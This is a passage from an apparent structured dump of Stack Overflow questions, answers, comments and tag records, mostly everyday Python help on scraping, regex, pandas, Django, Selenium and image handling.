has body: I am scraping this webpage for personal use https://asheville.craigslist.org/search/fua and running into issues extracting the thumbnails of each item on the page. When I use "inspect" to view the html DOM I can view the image tags that contain the .jpg's I need, but when I use "view page source", img tags don't show up. At first I thought this might be an asynchronous javascript loading issue but I was told by a credible source I should be able to scrape the thumbnails directly with beautifulsoup. import lxml import requests from bs4 import BeautifulSoup from fake_useragent import UserAgent ua = UserAgent() r = requests.get("https://asheville.craigslist.org/search/fua", params=dict(postal=28804), headers={"user-agent":ua.chrome}) soup = BeautifulSoup(r.content, "lxml") for post in soup.find_all('li', "result-row"): for post_content in post.findAll("a", "result-image gallery"): print(post_content['href']) for pic in post_content.findAll("img", {'alt class': 'thumb'}): print(pic['src']) Can someone clarify what I'm misunderstanding here? The value from the href attribute of the "a" tag will print but I can't seem to get the src attribute of the "img" tag to print. Thanks in advance!
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: python
favorite count: 0
has title: Extract JPG From Image Tag Src Attribute With BeautifulSoup
tagged with: web-scraping
type: AnsweredQuestion
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/48675927

http://stackoverflow.com/comment/84438813
has text: It's unlikely that you are importing it correctly. Are you able to access any other functions in numpy elsewhere? There are similar questions on this: https://stackoverflow.com/questions/36530726/using-numpy-module-object-has-no-attribute-array
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48719701
type: Comment

http://stackoverflow.com/q/48655290
possible better answer: http://stackoverflow.com/a/48655316
has title: python remove ss from HH:MM:ss and display only HH:MM
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48655459
downvote count: 0
tagged with: regex
has body: I have an input string like this HH:MM:ss 01:22:00 I want to remove seconds (ss), so that it is only HH:MM 01:22 How can I achieve that in python ?
favorite count: 0
has comment: http://stackoverflow.com/comment/84308626
accepted answer: http://stackoverflow.com/a/48655459
tagged with: time
upvote count: 1
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/48655316
type: AnsweredQuestion
score: 1

http://stackoverflow.com/a/55436304
answers question: http://stackoverflow.com/q/48714769
has body: If you are running your python script as sudo, then... sudo pip install -U flask-cors
downvote count: 4
score: -3
type: Answer
upvote count: 1

http://stackoverflow.com/comment/84610220
comment on: http://stackoverflow.com/q/48795918
has text: @PradipGupta: I did understand and my suggestion remains. But I doubt that your webservice is able to render an HSV image, especially in a JPEG.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48677660
tagged with: dataframe
has title: Using Python to compare 2 lists and get the corresponding items
tagged with: pandas
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48679405
tagged with: arraylist
tagged with: python
has body: I have two columns, one contains text strings and the other contains the time at which these text strings appear. In the example below, you will see that the texts will appear with time but will then disappear one by one while new texts being added. Here is an example Time (s) Text string 5 This example 7 This example 10 example 11 example is cool 15 is cool 16 cool 17 19 That example is 20 example is 21 is awesome 23 awesome 24 I want to extract the disappeared time of each text. For example, here is what it should look like: Here is the result I want Disappeared time (s) Text 10 This 15 example 16 is 17 cool 20 That 21 example 23 is 24 awesome How can I write a python code to do this. I am a beginner at python, so code samples and problem solving ideas are helpful. Thank you very much in advance!
score: -2
type: AnsweredQuestion
downvote count: 3
upvote count: 1
tagged with: excel
type: Question
has answer: http://stackoverflow.com/a/48679405
has comment: http://stackoverflow.com/comment/84381113

http://stackoverflow.com/comment/84358676
score: 0
type: AnswerComment
has text: How Django session can help me to keep Telegram Api session? I can serve in django session all data, but relation with telegram can be broken, and I will authenticate this user again
type: Comment
comment on: http://stackoverflow.com/a/48669018

http://stackoverflow.com/q/48648359
upvote count: 7
type: Question
has body: I have a file which contains in it several lines of problematic syntax, I'd like to do find all occurrences of it and replace it with acceptable syntax. Example: &lt;field id="someId" type="xs:decimal" bind="someId"&gt; &lt;description/&gt; &lt;region id="Calc.R_315.`0" page="1"/&gt; &lt;region id="Calc.R_315.`1" page="1"/&gt; &lt;/field&gt; I'd like to a string replacement of all occurrences of &lt;dot&gt;&lt;tick&gt;&lt;number&gt; i.e. .`0 or .`1 or .`2 et cetera with &lt;dash&gt;&lt;number&gt; i.e. -1 or -2 or -3 Notice it begins at 1 instead of 0. I have the following python code which performs an inline replacement of however it starts at 0, I'd like it to start at 1. with fileinput.input(files="file.xml", inplace=True, backup='.original.bak', mode='r') as f: for line in f: pattern = "\.`(\d+)" result = re.sub(pattern, lambda exp: "-{}".format(exp.groups()[0]), line) print(result, end='') How to accomplish my goal?
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/48648616
favorite count: 0
has comment: http://stackoverflow.com/comment/84294391
accepted answer: http://stackoverflow.com/a/48648445
tagged with: python
has title: Python regex and replace with incremented number
tagged with: regex
has answer: http://stackoverflow.com/a/48648616
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48648445
score: 7

http://stackoverflow.com/a/48768458
has comment: http://stackoverflow.com/comment/84545207
answers question: http://stackoverflow.com/q/48761464
has body: Hello Use the Following code to click on each price button, If you want you can also introduce a implicit wait. for one_row_view_price in browser.find_elements_by_xpath('//span[@data-title="View All Prices"]'): one_row_view_price.click() let me know if your BOT is able to click on price button Thanks Happy Coding
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/48748809
downvote count: 1
has body: I want to click on MAKE UP in the left navigation, Please find attached image and link for the webpage Image for the Webpage Link for the Webpage I am currently using the below code to click on the item but not getting any result.I am able to acces the elements by class name('has-sub').I can even print them but cant click them obc = driver.find_elements_by_class_name('has-sub') for ea in obc: if ea.text == "Makeup": ea.click() Just for the more info below is the html code for the webpage &lt;li class="has-sub" style="height: 38px;"&gt; &lt;a href="#"&gt;Makeup&lt;/a&gt; &lt;ul class="submenu" style="top: 0px;"&gt; &lt;li&gt; &lt;a id="SBN_facet_Face" href="http://shop.davidjones.com.au/djs/en/davidjones/beauty/face" escapexml="false"&gt;Face &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a id="SBN_facet_Lips" href="http://shop.davidjones.com.au/djs/en/davidjones/beauty/lips" escapexml="false"&gt;Lips &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a id="SBN_facet_Eyes" href="http://shop.davidjones.com.au/djs/en/davidjones/beauty/eyes" escapexml="false"&gt;Eyes &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a id="SBN_facet_Nails" href="http://shop.davidjones.com.au/djs/en/davidjones/beauty/nails" escapexml="false"&gt;Nails &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a id="SBN_facet_Brushes &amp;amp; Tools" href="http://shop.davidjones.com.au/djs/en/davidjones/beauty/beauty-brushes-accessories" escapexml="false"&gt;Brushes &amp;amp; Tools &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;a id="SBN_facet_Makeup" href="http://shop.davidjones.com.au/djs/en/davidjones/beauty/beauty-makeup" escapexml="false"&gt;All Makeup &lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt;`enter code here` Any help will be appreciated .
type: Question
score: -1
has answer: http://stackoverflow.com/a/48762503
has answer: http://stackoverflow.com/a/48749484
has title: I want to click on the item in the left navigation of a webpage, using Python and Selenium webdriver to locate it
upvote count: 0
favorite count: 0
answer count: 3
has answer: http://stackoverflow.com/a/48749466
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: selenium

http://stackoverflow.com/q/48791761
tagged with: lzma
tagged with: python
score: 0
answer count: 1
has title: How many bytes have been read from a compressed stream?
has comment: http://stackoverflow.com/comment/84636311
type: UnansweredQuestion
has body: I would like to have some progress indicator while reading data from a compressed stream in Python. I'm interested in the number of bytes read from the compressed stream, rather than how many decompressed data have been produced. My program looks like this: #!/usr/bin/env python3 import lzma filename = 'test.xz' with lzma.open(filename, mode='rt') as f: for ln, l in enumerate(f): process(l) if ln % 1000 == 0: print('Read %d bytes from %s.' % (???, filename)) How can I get this information? I've tried f.tell() but it gives an error (OSError: telling position disabled by next() call). Even if I avoid that by explicitly using f.readline(), the progress reported regards the uncompressed data.
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48793490
type: Question

http://stackoverflow.com/comment/84524701
has text: Thanks. I thought about adding this steps, but it's not really what i want. I would prefer to get dataset directly in python, because I want to reuse it for plotting, another model and else. Nevertheless, it's my question that wasn't clear enough and your reply is still usefull.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48755663

modelica
tag name: modelica
type: Tag
tags question: http://stackoverflow.com/q/48662401
tags question: http://stackoverflow.com/q/48703982

http://stackoverflow.com/comment/84503317
score: 1
type: AnswerComment
has text: How would you expect a future reader with the same syntax error to actually find this question? Which Google search terms would they use?
type: Comment
comment on: http://stackoverflow.com/a/48751301

http://stackoverflow.com/q/48676719
has answer: http://stackoverflow.com/a/48676761
has comment: http://stackoverflow.com/comment/84351723
has answer: http://stackoverflow.com/a/48676792
has comment: http://stackoverflow.com/comment/84351725
has comment: http://stackoverflow.com/comment/84351856
score: -1
has answer: http://stackoverflow.com/a/48676795
answer count: 4
has title: Why won't my code print anything?(python)
favorite count: 0
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/84351991
has answer: http://stackoverflow.com/a/48676943
upvote count: 1
tagged with: python
type: Question
has body: These were my instructions: Write a program using while loop, which prints the sum of every third numbers from 1 to 1001 ( both 1 and 1001 are included) (1 + 4 + 7 + 10 + ....) Here is my code: num = 0 x = 1 while x != 1001: num += x x += 3 print(num) Can someone point out where I've gone wrong?

http://stackoverflow.com/a/48659403
upvote count: 2
type: AcceptedAnswer
has body: Here are the dilate declarations in C++/Python/Java: C++: void dilate(InputArray src, OutputArray dst, InputArray kernel, Point anchor=Point(-1,-1), int iterations=1, int borderType=BORDER_CONSTANT, const Scalar&amp; borderValue=morphologyDefaultBorderValue() ) Python: cv2.dilate(src, kernel[, dst [, anchor[, iterations[, borderType[, borderValue]]]]]) → dst Java: static void dilate(Mat src, Mat dst, Mat kernel, Point anchor, int iterations) Because there is no default value for anchor if you want to use the param iterations. So pass new Point(-1,-1) is a better choice. Imgproc.dilate(src, dst, kernel, new Point(-1,-1), iterations);
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/48658449
downvote count: 0
answers question: http://stackoverflow.com/q/48658449

http://stackoverflow.com/comment/84351725
has text: when will x == 1001?
score: 3
type: Comment
comment on: http://stackoverflow.com/q/48676719
type: QuestionComment

http://stackoverflow.com/q/48765721
has comment: http://stackoverflow.com/comment/84531834
has comment: http://stackoverflow.com/comment/84552206
has comment: http://stackoverflow.com/comment/84545765
tagged with: text
has comment: http://stackoverflow.com/comment/84607141
score: 0
has comment: http://stackoverflow.com/comment/84592274
tagged with: formatting
answer count: 1
has comment: http://stackoverflow.com/comment/84570389
has answer: http://stackoverflow.com/a/48766029
has comment: http://stackoverflow.com/comment/84545547
has body: i'm pretty new to Python but i've been searching for this for a while and can't seem to find the answer in any way, i need this for a customer. What i would like to do is the following: i have a giant list of e-mail addresses and i would like to join them in a certain format into a CSV file. So the list goes like this: email@address.com,address@email.com,this@that.com,that@this.com,... So what i would like to do is the following: 1) Trim everything for each e-mail address up until the @-symbol and put that into a variable (let's call this one "name"). 2) Next i would like the whole e-mailaddress to go into a different variable (let's call this one "e-mail") 3) Then i would like to print it out in a format like: name,email,name,e-mail,name,email,... so i can use it as a valid csv with name and e-mailaddress. I would post the code i already have, but i don't think it's going to help much :) Thanks in advance for helping out! EDIT: I forgot to mention the list from which i'm pulling the e-mail addresses is in a csv file. See my code below. import csv writefile = open('output.txt', mode='w') tempwrite = [] with open('emailadresseninkomma.csv') as csvfile: readfile = csv.reader(csvfile, delimiter=',') for row in readfile: tempwrite.append(row) with open('output.txt', mode='w') as out_csv: writer = csv.DictWriter(out_csv, fieldnames=['Name', 'Email']) #Comment this out if you don't want a header row writer.writeheader() for e in tempwrite: writer.writerow({'Name':e.split('@')[0], 'Email': e}) I get this error message: line 14, in &lt;module&gt; writer.writerow({'Name':e.split('@')[0], 'Email': e}) AttributeError: 'list' object has no attribute 'split' I'm positively doing something wrong on creating the list from the already existing csv file from which i read. Again, thanks for al the help. :)
tagged with: http://stackoverflow.com/tag/csv
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48766029
has comment: http://stackoverflow.com/comment/84531814
type: Question
has comment: http://stackoverflow.com/comment/84531875
has comment: http://stackoverflow.com/comment/84581320
has title: Use text elements to create custom CSV in Python
tagged with: python

http://stackoverflow.com/q/48701260
favorite count: 0
tagged with: python
has title: PEP8 inspection in PyCharm not working with Docker remote python interpreter
type: AnsweredQuestion
has body: I use local python interpreter, pep8 work well and I see all warnings in my files. Then I switch to remote python interpreter from Docker, all warnings disappeared. Python on local and Docker: 2.7.12 Pycharm: PyCharm 2017.3.3 (Professional Edition) Build #PY-173.4301.16, built on January 11, 2018
tagged with: pycharm
downvote count: 0
has answer: http://stackoverflow.com/a/75472502
type: Question
accepted answer: http://stackoverflow.com/a/75472502
score: 3
tagged with: docker
tagged with: python-2.7
upvote count: 3
tagged with: pep8
answer count: 1

http://stackoverflow.com/comment/84387898
comment on: http://stackoverflow.com/q/48674396
type: QuestionComment
has text: Also you can make a template tag to replace those tags so you won't need the js codes and your server will handle it too. If you don't want you text to be filled with bunch of html tags then go for option 2 or 3. if it's okay for you to have bunch of html codes in your text then the first option is the fastest.
type: Comment
score: 0

http://stackoverflow.com/comment/84332938
type: Comment
type: QuestionComment
score: 2
has text: first you need to fix your indentation, second, that error is cause by not keeping a reference to the image, so pythons garbage collector cleans it up. simply assign it to your class using something like `self.img=...` instead of `img=...` and use the `self.img` reference in your label
comment on: http://stackoverflow.com/q/48667520

http://stackoverflow.com/comment/84464445
type: Comment
has text: How do you implement `process_image`? This is where you should do data augmentation.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48732627

http://stackoverflow.com/a/63971970
type: Answer
has body: import numpy as np import cv2 from pylibdmtx import pylibdmtx if __name__ == '__main__': image = cv2.imread('datamatrix_sample1_130x116.png', cv2.IMREAD_UNCHANGED); gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) ret,thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU) msg = pylibdmtx.decode(thresh) print(msg)
upvote count: 3
answers question: http://stackoverflow.com/q/48686574
score: 3
downvote count: 0

http://stackoverflow.com/q/48760619
has title: Use Python to draw sine waves with list or dictionary of turtle references
upvote count: 2
has answer: http://stackoverflow.com/a/48774692
accepted answer: http://stackoverflow.com/a/48774692
downvote count: 1
answer count: 1
favorite count: 0
tagged with: python-3.x
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
tagged with: turtle-graphics
score: 1
has body: I tried to pull strings from a dictionary and wanted to iterate through them, in the wave function. The turtle should make a sine wave with the values of x and y. I tried with a list as well, but that didn't work. Maybe it's not possible and I'm going about the problem all wrong. import turtle, math def createTurtle(count): for x in range(count): turtle_dict[x] = turtle.Turtle() turtle_dict[x].shape("turtle") turtle_dict[x].color(color_list[x]) turtle_dict[x].width(3) return turtle_dict[x] def wave(count): for n in range(count): amp = amp_list[n] freq = freq_list[n] createTurtle(n) for x in range(361): y_val = amp * math.sin(math.radians(x * freq)) turtle_dict.values().goto(x, y_val) print(x, y_val) num_waves = int(input("How many sine waves do you want to create? ")) amp_list = [] freq_list = [] turtle_dict = {1 : "alpha", 2 : "beta", 3 : "gamma", 4 : "delta", 5 : "omega"} color_list = ["red", "blue", "green", "purple", "pink"] counter = 1 for x in range(num_waves): print("\nSine Wave #" , counter) amp = int(input("Enter the amplitude of the sine wave: ")) freq = float(input("Enter the frequency of the sine wave: ")) amp_list.append(amp) freq_list.append(freq) counter += 1 print(amp_list) print(freq_list) print(turtle_dict) amp_screen = max(amp_list) + 1 win = turtle.Screen() win.bgcolor("lightyellow") win.setworldcoordinates(0,-amp_screen, 500 ,amp_screen) wave(counter-1) win.exitonclick()
type: Question

http://stackoverflow.com/q/48788285
tagged with: python
has comment: http://stackoverflow.com/comment/84578699
type: Question
upvote count: 4
has title: python-attrs: validator in child class
has answer: http://stackoverflow.com/a/49233182
has body: Using the Python module attrs, I'm trying to have a subclass with a condition on its attributes more restrictive than its parent, like in the minimal example below. import attr @attr.s class Base: x = attr.ib() y = attr.ib() @attr.s class Child(Base): @x.validator def _x_validator(self, a, x): if x &lt; 0: raise ValueError() Defining a validator like above raises an error (NameError: name 'x' is not defined). I've found a workaround by redefining x in the child class. @attr.s class Child(Base): x = attr.ib() @x.validator def _x_validator(self, a, x): if x &lt; 0: raise ValueError() However it messes up the ordering of the attributes. In [5]: Child(5, 10) Out[5]: Child(y=5, x=10) So, finally, I ended up redefining all the attributes in the child class (and there are more than two in the actual code). Is there a more elegant way to do this?
downvote count: 0
answer count: 1
score: 4
has comment: http://stackoverflow.com/comment/84578585
tagged with: python-attrs
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/48780869
has body: I think this is what you need import urllib.request req = urllib.request.Request('http://www.example.com') with urllib.request.urlopen(req) as response: the_page = response.read()
score: 9
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84563082
type: Answer
accepted answer of: http://stackoverflow.com/q/48779202
upvote count: 9
answers question: http://stackoverflow.com/q/48779202

http://stackoverflow.com/comment/84391137
type: QuestionComment
type: Comment
has text: Possible duplicate of [Counting python method calls within another method](https://stackoverflow.com/questions/1301735/counting-python-method-calls-within-another-method)
comment on: http://stackoverflow.com/q/48695762
score: 0

http://stackoverflow.com/comment/84583147
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48781317
type: AnswerComment
has text: @VincentLaw Yes, that is what `< >` typically means.

http://stackoverflow.com/a/48765147
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48764707
score: 1
has body: Try this approach from collections import Counter def palindromeRearranging(s): return sum(i % 2 == 1 for i in Counter(s).values()) &lt;= 1
answers question: http://stackoverflow.com/q/48764707
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/48671676
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48669719
type: Answer
answers question: http://stackoverflow.com/q/48669719
has body: It should not be difficult to do it. I am assuming the array which you have is a numpy array. I used python3 for this below. Hope this helps. import random import numpy as np from PIL import Image #----------- (Your Array of 500s, 200s and 0s)------------ a = np.random.randint(3, size=(500, 500)) a[a==2] = 500 a[a==1] = 200 # -------------------------------------------------------- # ----------- Code which you need to run ---------------------------- R, G, B = np.zeros(a.shape), np.zeros(a.shape), np.zeros(a.shape) R[a==200], G[a==200], B[a==200] = 255, 0, 0 R[a==500], G[a==500], B[a==500] = 0, 0, 0 R[a==0], G[a==0], B[a==0] = 255, 255, 255 R, G, B = Image.fromarray(R.astype('uint8'),mode=None), Image.fromarray(G.astype('uint8'),mode=None), Image.fromarray(B.astype('uint8'),mode=None) merged=Image.merge("RGB",(R,G,B)) merged.show() # ------------------------------------------------------------
downvote count: 0

http://stackoverflow.com/q/48796604
linked to: http://stackoverflow.com/q/39768547
favorite count: 0
has answer: http://stackoverflow.com/a/62047076
has answer: http://stackoverflow.com/a/48796728
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48833282
tagged with: python
has comment: http://stackoverflow.com/comment/84595768
score: 3
downvote count: 0
type: Question
has title: Replace whole string if it contains substring in pandas dataframe
answer count: 6
has answer: http://stackoverflow.com/a/48796691
has answer: http://stackoverflow.com/a/48796745
upvote count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/48796777
has body: I have an sample dataset. raw_data = { 'categories': ['sweet beverage', 'salty snacks', 'beverage,sweet', 'fruit juice,beverage,', 'salty crackers'], 'product_name': ['coca-cola', 'salted pistachios', 'fruit juice', 'lemon tea', 'roasted peanuts']} df_a = pd.DataFrame(raw_data) I need to iterate thru the rows in the 'categories' columns, and check if it contains a particular string, in this case, 'beverage', after which i will update the categories to just 'beverage'. This link is the closest i found on stackoverflow, but doesnt tell me how to go thru the whole dataset. Replace whole string if it contains substring in pandas Here's my sample code. for index,row in df.iterrows(): if row.str.contains('beverage', na=False): df.loc[index,'categories_en'] = 'Beverages' elif row.str.contains('salty',na=False): df.loc[index,'categories_en'] = 'Salty Snack' ....&lt;and other conditions&gt; How can I achive this? Thanks all!

http://stackoverflow.com/comment/84595144
score: 0
comment on: http://stackoverflow.com/q/48780130
has text: Java is preferred.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48742487
has title: How can i properly change the key name?
has answer: http://stackoverflow.com/a/48742833
has comment: http://stackoverflow.com/comment/84484730
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84484877
has comment: http://stackoverflow.com/comment/84485082
has body: I want to change the key name in my dictionary, the code i'm using is the following: for key in my_dict_other: print(key) new_key = key + '/' + str(my_dict[key]) print(new_key) my_dict_other[new_key] = my_dict_other.pop(key) The issues i'm having is getting a key error after a few first successful code iterrations Output: 38-7 38-7/[2550, 1651] 13-9 13-9/[2550, 1651] 16-15 16-15/[5100, 3301] 31-0/[5400, 3601] Traceback (most recent call last): new_key = key + '/' + str(my_dict[key]) KeyError: '31-0/[5400, 3601]' and getting the error each time on a different key so can't seem to understand the pattern of the issue or what's wrong with my code Edit: Structure of my_dict_other : '41-3': [['2436', '2459', '1901', '2152'], ['2704', '2253', '2442', '2062'], ['2763', '2595', '2498', '2518'], ['2190', '1918', '1970', '1875'], ['3154', '2442', '3023', '2417'], ['3360', '2481', '3252', '2458'], ['653', '1916', '430', '1874'], Structure of my_dict: '1-0': [5400, 3601], '1-1': [2550, 1651], '1-3': [5400, 3601], '1-4': [5400, 3601], '1-5': [5400, 3601],
type: Question
answer count: 3
upvote count: 1
accepted answer: http://stackoverflow.com/a/48742629
favorite count: 0
score: 0
downvote count: 1
possible better answer: http://stackoverflow.com/a/48742668
tagged with: python
has answer: http://stackoverflow.com/a/48742629
tagged with: dictionary
has answer: http://stackoverflow.com/a/48742668
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84484813
has comment: http://stackoverflow.com/comment/84484780

http://stackoverflow.com/comment/84589424
type: AnswerComment
has text: It doesn't work because finditer() doesn't find bytecodes
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48792870

http://stackoverflow.com/q/48672866
answer count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/84344338
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/48673254
has answer: http://stackoverflow.com/a/48673143
type: AnsweredQuestion
has body: I have the below sample input data with quarterly updates. I want to add this quarter data to the previous quarter table as shown in the output. I tried in Many ways but not able to find the right way. Input DF: FIRST 2007Q1 2007Q1 2007Q1 2007Q2 2007Q2 2007Q2 2007Q3 2007Q3 2007Q3 2007Q4 2007Q4 2007Q4 2008Q1 2008Q1 2008Q1 Output: First Last 2007Q1 2006Q4 2007Q1 2006Q4 2007Q1 2006Q4 2007Q2 2007Q1 2007Q2 2007Q1 2007Q2 2007Q1 2007Q3 2007Q2 2007Q3 2007Q2 2007Q3 2007Q2 2007Q4 2007Q3 2007Q4 2007Q3 2007Q4 2007Q3 2008Q1 2007Q4 2008Q1 2007Q4 2008Q1 2007Q4 Can someone help me in solving this in python. I need this to perform further analysis. Thanks!
possible better answer: http://stackoverflow.com/a/48673254
tagged with: dataframe
type: Question
tagged with: numpy
tagged with: pandas
has title: Incrementing the financial quarters in python
accepted answer: http://stackoverflow.com/a/48673143
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48673081
tagged with: logic
has comment: http://stackoverflow.com/comment/84344292

http://stackoverflow.com/a/48783149
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48781136
has body: You should create for each model a form and do it separately or you can create really sofisticated form which will do it for you. This form then would have fields as title (Event), title (Klass), capacity, event, age_min ... so for the relation fields as ForeignKey you will have to use the ChoiceField which will be populated with choices in the __init__ function and so on. Then it should have good cleaning function so that it would have olny valid data and at the end the save. You will have to look if user has selected a field or is creating a new one (such as Event for Klass) and then process them and link and create everything. But that's not the best solution (even it could be in one step) but it is a choice. It could look great even if you added some javascript.
upvote count: 1
type: Answer

http://stackoverflow.com/a/48672077
upvote count: 3
has comment: http://stackoverflow.com/comment/84346898
has body: You have set the context_object_name to "job_title", so thats what you should use in the template, not "object_list" which is the default. job_list would seem a more sensible name. &lt;ul&gt; {% for job in job_title %} &lt;li&gt;{{ job }}&lt;/li&gt; {% endfor %} &lt;/ul&gt;
type: Answer
answers question: http://stackoverflow.com/q/48671929
score: 3
downvote count: 0

http://stackoverflow.com/q/48759489
linked to: http://stackoverflow.com/q/1628949
score: -1
answer count: 2
downvote count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/48759597
has answer: http://stackoverflow.com/a/48759752
has comment: http://stackoverflow.com/comment/84519669
favorite count: 0
has title: Python - n Prime
has body: I’m new to python and I’m trying to figure out how to make a function where you enter a number and it gives you the number prime. Example: If I enter 6 it returns 13. Since 13 is the 6th prime. Preferably no modules except ones in standard library, Thank you
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/1628949
tagged with: python
tagged with: primes
has comment: http://stackoverflow.com/comment/84519656
type: Question

http://stackoverflow.com/comment/93316071
comment on: http://stackoverflow.com/a/48705985
type: AnswerComment
score: 0
has text: it should be `source activate myenv`
type: Comment

http://stackoverflow.com/a/48706836
answers question: http://stackoverflow.com/q/48706447
has comment: http://stackoverflow.com/comment/128639712
type: Answer
accepted answer of: http://stackoverflow.com/q/48706447
downvote count: 0
has body: You first need to save the tour model before adding the many-to-many relations. Looking at the code I think the many-to-many is the field 'tags' def test_model_can_create_tour(self): self.tour = Tour.objects.create( name='tour', description='description', summary='summary', agency=self.tour_agency, equipment=self.tour_equipment, category=self.tour_category, activity_type='activity type', date=datetime.now, photo=self.mock_file) # Adding the tour later. self.tour.tags.add(self.tour_tag) count = Tour.objects.count() self.assertNotEqual(self.before_count, count) This should pass the tests.
score: 3
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/84552117
type: Comment
comment on: http://stackoverflow.com/a/48774358
has text: Worked like a charm! Thank you. One slight tweak - I had to drop any rows which had a Nan in either 1st Choice or 2nd Choice.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84361695
type: QuestionComment
comment on: http://stackoverflow.com/q/48682118
has text: Using virtualenv requires that the virtualenv package first be installed.
score: 0
type: Comment

http://stackoverflow.com/a/48652814
has comment: http://stackoverflow.com/comment/84303756
has comment: http://stackoverflow.com/comment/84336811
has comment: http://stackoverflow.com/comment/84304122
accepted answer of: http://stackoverflow.com/q/48651717
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48651717
has body: Since you've read all of it into memory at once with file.readlines(). tell() method does indeed correctly point to the end and your already have all your lines in an array. If you still wanted to, you'd have to read the file in line by line and record position within file for each line start so that you could go back four lines. For your described problem. You can first find index of the line first match and then do the second operation starting from the list slice four items before that. Here a very rough example of that (return None isn't really needed, it's just for sake of verbosity, clearly stating intent/expected behavior; raising an exception might be just as well a desired depending on what the overall plan is): def relevant(value, lines): found = False for (idx, line) in enumerate(lines): if value in line: found = True break # Stop iterating, last idx is a match. if found is True: idx = idx - 4 if idx &lt; 0: idx = 0 # Just return all lines up to now? Or was that broken input and fail? return lines[idx:] else: return None with open("test.txt") as in_file: lines = in_file.readlines() print(''.join(relevant("This is 6th line", lines))) Please also note: It's a bit confusing to name list of lines string (one would probably expect a str there), go with lines or something else) and it's also not advisable (esp. since you indicate to be using 2.7) to assign your variable names already used for built-ins, like file. Use in_file for instance. EDIT: As requested in a comment, just a printing example, adding it in parallel as the former seem potentially more useful for further extension. :) ... def print_relevant(value, lines): found = False for (idx, line) in enumerate(lines): if value in line: found = True print(line.rstrip('\n')) break # Stop iterating, last idx is a match. if found is True: idx = idx - 4 if idx &lt; 0: idx = 0 # Just return all lines up to now? Or was that broken input and fail? print(lines[idx].rstrip('\n')) with open("test.txt") as in_file: li…
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84336024
has comment: http://stackoverflow.com/comment/84338248

http://stackoverflow.com/comment/84310949
type: AnswerComment
has text: Thank you very much for the explanations. I'm am very new at Python and I was answering a challenge using a language I've never used. I noticed the output of the counter function and it wasn't exactly what I was looking for. My results needed to be letters only and that is why I used format. Well I used format because I found code using it, so I adjusted it to fit my needs. I asked this question for the fact I did not fully understand what the code was doing. Now that I got my answer, I wanted to fully understand how I got there and a better way to do it.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48655906

http://stackoverflow.com/comment/84514612
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48756142
type: AnswerComment
has text: @juanpa.arrivillaga Yep : -)

http://stackoverflow.com/comment/84595051
type: Comment
score: 0
has text: CreateAPIView and UpdateAPIView were just examples. I tried with RetrieveUpdateDestroyAPIView but the put request in the latter still gives me the same error
type: QuestionComment
comment on: http://stackoverflow.com/q/48777490

http://stackoverflow.com/comment/84606647
has text: Thank you, I didn't know that.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48802036
type: Comment

http://stackoverflow.com/comment/84478087
type: Comment
score: 0
has text: Please provide some sample input, the actual output, and the desired output (and of course any error messages). This helps us understand the problem and test solutions in line with your expectations.
type: QuestionComment
comment on: http://stackoverflow.com/q/48739128

httprequest
tags question: http://stackoverflow.com/q/48694301
tag name: httprequest
tags question: http://stackoverflow.com/q/48680798
tags question: http://stackoverflow.com/q/48786258
tags question: http://stackoverflow.com/q/48694965
type: Tag

http://stackoverflow.com/comment/84388900
type: Comment
score: 0
has text: That worked! Thank you!
type: QuestionComment
comment on: http://stackoverflow.com/q/48694965

http://stackoverflow.com/comment/84523351
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48753555
type: Comment
has text: Maybe just check if the provided file name ends on `.pyc` and only then remove the last character?

